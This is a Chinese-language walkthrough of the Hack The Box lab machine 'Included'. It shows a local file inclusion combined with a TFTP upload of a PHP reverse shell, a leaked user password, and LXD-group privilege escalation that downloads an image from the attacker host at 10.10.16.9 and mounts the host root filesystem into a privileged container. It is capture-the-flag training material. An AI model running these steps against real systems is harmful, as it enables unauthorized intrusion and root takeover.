HTB_Inclued_TFTP文件包含与LXD提权

信息收集

开放80端口，url为http://ip:port?file=home.php

测试文件包含，本地包含成功，远程失败，尝试上传后门木马反弹shell

根据图示，网站目录为var/www，其他功能都是死页面

使用udp扫描，发现五个端口

nmap -sV -v -sU ip

TFTP

TFTP是简单的文字模式的 FTP 程序，使用的指令和 FTP 类似，尝试上传文件然后包含

要解决的是目录问题，查看etc\passwd文件，其默认目录为/var/lib/tftpboot，上传后可以尝试访问如下路径

http://10.129.140.193/?file=../../../../../../../var/lib/tftpboot/php-reverse-shell.php

连接tftp，并上传文件

tftp ip
put php-reverse-shell.php

访问路径后，成功回弹

python3 -c 'import pty;pty.spawn("/bin/bash")'

无权限

翻文件目录。找到账号密码

ls -al

转换用户，查看user.txt

su mike
Sheffield19

LXD 提权

Linux Container（LXC）通常被认为是一种轻量级虚拟化技术，它介于Chroot和完整开发的虚拟机之间，LXC可以创建一个跟正常Linux操作系统十分接近的环境，但是不需要使用到单独的内核资源

Linux Daemon（LXD）是一个轻量级容器管理程序，而LXD是基于LXC容器技术实现的，而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作

总之，使用起来很类似docker

原理据查询：一个低许可权的使用者能够建立一个用于host和container通讯的socket，当将host中已经建立的一个socket和container连接后，它们之间的连线通讯以LXD服务的凭证(root许可权)而不是呼叫使用者的凭证，所以当container中传送socket和后渗透通讯时，此时host端的socket则是root许可权，所以关键就是怎么在一个得到一个root socket是实现提权

lxd是一个管理程序 apt install lxd
将用户添加到lxd组 id->uid=1000 gid..128(lxd)
lxd init 初始化配置
创建一个容器 lcx launch ubuntu18.04
与容器建立连接 lcx exec 容器名 --/bin/bash

攻击机root权限用户执行如下命令，构建一个最小的容器镜像

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# 以root权限构建
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

Alpine Linux 是一个围绕 musl libc 和 BusyBox 构建的 Linux 发行版。该镜像只有 5 MB 大小(本次安装只有1.96M)，并且可以访问比其他基于 BusyBox 的镜像更完整的包存储库

本机监听

python3 -m http.server 8000

目标主机下载，在根目录cd ~下载的，其他目录很多没有写入权限

wget http://10.10.16.9:8000/lxd.tar.xz
wget http://10.10.16.9:8000/rootfs.squashfs

导入镜像

# --alias alpine 设置别名
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

查看镜像

把宿主机的盘挂载到容器中，这样操作容器就是操作真实宿主机的文件系统

# 将security.privileged设置为true 以便容器具有根文件系统所具有的所有权限
# alpine为镜像别名 privesc为自定义名称
lxc init alpine privesc -c security.privileged=true
# 把source参数的宿主机目录挂载到path参数的容器目录中实现共享
# 宿主机将 / 根目录映射到容器(linux) /mnt/目录下新建的目录root
# source=/root path=/dir01
# 此处可以创建多个不同名称的基于alpine的容器 从容器镜像启动容器
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 启动容器 privesc
lxc start privesc
# 启动shell
lxc exec privesc /bin/sh

# 查看文件 /mnt/root/目录下映射了宿主机根目录下所有的文件
cd /mnt/root/root
cat root.txt

环境安装报错

ps：安装软件总报如下错误

解决方法：

cd /etc/apt/sources.list.d
rm docker.list
apt-get update

解决方法：

apt-get install libc6-dev

签名无效

解决方法：

wget archive.kali.org/archive-key.asc   //下载签名
apt-key add archive-key.asc   //安装签名